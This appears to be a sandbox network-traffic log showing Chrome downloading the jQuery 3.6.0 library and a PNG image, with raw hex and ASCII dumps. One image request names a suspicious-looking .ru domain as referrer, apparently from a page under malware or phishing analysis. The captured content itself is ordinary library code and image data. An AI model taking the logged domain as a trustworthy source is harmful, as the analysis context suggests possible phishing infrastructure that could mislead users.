2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-11-26 05:40:51 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49760	151.101.66.137	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:53 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:53 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 26 Nov 2024 05:40:53 GMT Age: 2581728 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 1 X-Timer: S1732599654.568618,VS0,VE1 Vary: Accept-Encoding
2024-11-26 05:40:53 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-11-26 05:40:53 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-11-26 05:40:54 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-11-26 05:40:54 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-11-26 05:40:54 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-11-26 05:40:54 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49762	142.250.181.97	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:54 UTC	911	OUT	GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rwcq.qonimex.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:55 UTC	470	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v367e" Expires: Wed, 27 Nov 2024 05:40:54 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="userinter.png" X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 05:40:54 GMT Server: fife Content-Length: 87859 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 05:40:55 UTC	920	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0d 44 00 00 07 80 08 02 00 00 00 33 3b 2b ce 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c ec da 21 01 00 20 00 c0 30 a0 7f 58 04 02 49 8c 0b b6 04 0f f0 b9 cf 1d 00 00 00 00 00 00 00 00 00 40 67 d5 01 00 00 00 00 00 00 00 00 00 f0 3b 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 Data Ascii: PNGIHDRD3;+sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATx! 0XI@g;3\|3@
2024-11-26 05:40:55 UTC	1390	IN	Data Raw: 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 Data Ascii: 3@13\|3@13\|3@13\|3@13\|3@13\|3
2024-11-26 05:40:55 UTC	1390	IN	Data Raw: 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 Data Ascii: 13\|3@13\|3@13\|3@13\|3@13\|3@1
2024-11-26 05:40:55 UTC	1390	IN	Data Raw: 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 Data Ascii: \|3@13\|3@13\|3@13\|3@13\|3@13\|
